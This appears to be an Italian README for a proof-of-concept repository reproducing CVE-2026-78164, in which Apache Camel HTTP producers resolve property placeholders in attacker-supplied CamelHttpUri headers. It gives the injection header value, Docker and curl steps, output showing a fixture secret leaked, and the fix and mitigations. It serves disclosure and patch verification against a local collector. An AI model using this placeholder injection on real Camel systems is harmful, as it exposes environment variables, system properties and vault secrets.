
Proof-of-concept eseguibile per CVE-2026-78164, che dimostra la fuga di segreti quando i producer HTTP di Apache Camel risolvono i segnaposto delle proprietà negli header CamelHttpUri forniti dall'attaccante.
Reproduttore proof-of-concept eseguibile per la vulnerabilità di Apache Camel in cui le famiglie di producer HTTP consentono a un
messaggio in ingresso di sovrascrivere l'URI dell'endpoint tramite le intestazioni CamelHttpUri e CamelRestHttpUri, e successivamente passavano
quella stringa fornita nel messaggio attraverso CamelContext.resolvePropertyPlaceholders() prima di utilizzarla.
La risoluzione dei segnaposto delle proprietà è una funzionalità di risoluzione della configurazione, non una fase di parsing dell'URI. Raggiunge
le variabili d'ambiente del sistema operativo, le proprietà di sistema della JVM, ogni PropertiesFunction sul classpath
(incluse le funzioni secret di AWS, Azure, GCP, HashiCorp, IBM, CyberArk e Kubernetes) e — tramite
camel-bean — l'invocazione di un metodo senza argomenti su qualsiasi bean nel registry. Applicarla a contenuti Exchange
influenzati dall'attaccante trasforma una stringa URI in un contesto di valutazione di configurazione e bean. L'autore della route
non ha aderito a nulla di tutto ciò: un semplice to("http://backend/api") statico era sufficiente.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (affetto; corretto in 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, affetto) |
Il comportamento precede la linea 4.x (risale a camel-http4 / camel-netty4), quindi ogni release affetta e il Camel 4.15.0 nell'ultimo Camel Quarkus sono vulnerabili. La correzione è inclusa in Camel 4.18.5 / 4.22.1 / 4.23.0; il modulo Spring Boot esegue sia la build affetta (4.22.0) sia la build corretta (4.22.1). Nessun Camel Quarkus rilasciato include ancora un Camel corretto.
La route è un semplice to("http://127.0.0.1:9100/collect") statico che punta a un collector locale. L'attaccante imposta
l'intestazione CamelHttpUri su un URI che trasporta un token di segnaposto di proprietà — senza conoscere il valore del segreto, solo
nominando la chiave:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
L'app inizializza una proprietà di sistema JVM cve78164.secret per rappresentare qualsiasi valore di configurazione o segreto del vault. Nella build affetta il producer risolve il placeholder prima che la richiesta venga inviata, quindi il collector vede il segreto nella query in uscita. Nella build corretta il token viene inoltrato letteralmente.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
Output atteso sulla build interessata:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
Sulla build corretta il collector vede invece GET /collect?leak={{sys:cve78164.secret}} (letterale, non risolto).
| Proprietà | Valore |
|---|---|
| Componente | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-200 (Information Exposure) |
| Gravità | ALTA |
| Vettore di attacco | Header di override CamelHttpUri / CamelRestHttpUri contenente un token {{...}}; il body/gli header non sono limitati da bridgeEndpoint, e diversi consumer popolano CamelHttpUri dalla request line come funzionalità di reverse-proxy |
| Impatto | Espansione di variabili d'ambiente, proprietà di sistema e segreti del vault nella richiesta in uscita; invocazione senza argomenti di bean del registry; un oracolo per chiavi di configurazione impostate/non impostate tramite l'errore restituito |
| Versioni interessate | Dalla 4.0.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.1 (il comportamento è antecedente alla 4.x) |
| Versioni corrette | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| Credito | [email protected] |
Advisory: https://camel.apache.org/security/CVE-2026-78164.html
La chiamata resolvePropertyPlaceholders() per singolo messaggio viene rimossa in ogni punto interessato, quindi un token {{...}} che
compare solo in CamelHttpUri o CamelRestHttpUri viene ora trattato come parte letterale dell'URI. I placeholder nell'URI
dell'endpoint della route stessa non sono interessati — vengono risolti una sola volta, in fase di build, quando l'endpoint viene creato.
Rimuovi gli header di override al confine di fiducia prima del producer con removeHeader("CamelHttpUri") e
removeHeader("CamelRestHttpUri"), oppure imposta skipControlHeaders=true sugli endpoint camel-http (l'unico componente
che offre tale opzione). bridgeEndpoint=true non è una soluzione alternativa. Applica una HeaderFilterStrategy inbound
rigorosa sui consumer esposti a mittenti non attendibili, e risolvi i segreti tramite un vault anziché tramite variabili
d'ambiente o proprietà di sistema che un placeholder può nominare.
Questo repository è pubblicato per scopi educativi e difensivi: per aiutare gli utenti di Apache Camel a comprendere la vulnerabilità, verificare se sono interessati e confermare che l'aggiornamento la risolve. Il "secret" è un fixture locale inerte. Non utilizzare questo materiale contro sistemi di cui non sei proprietario o gestore.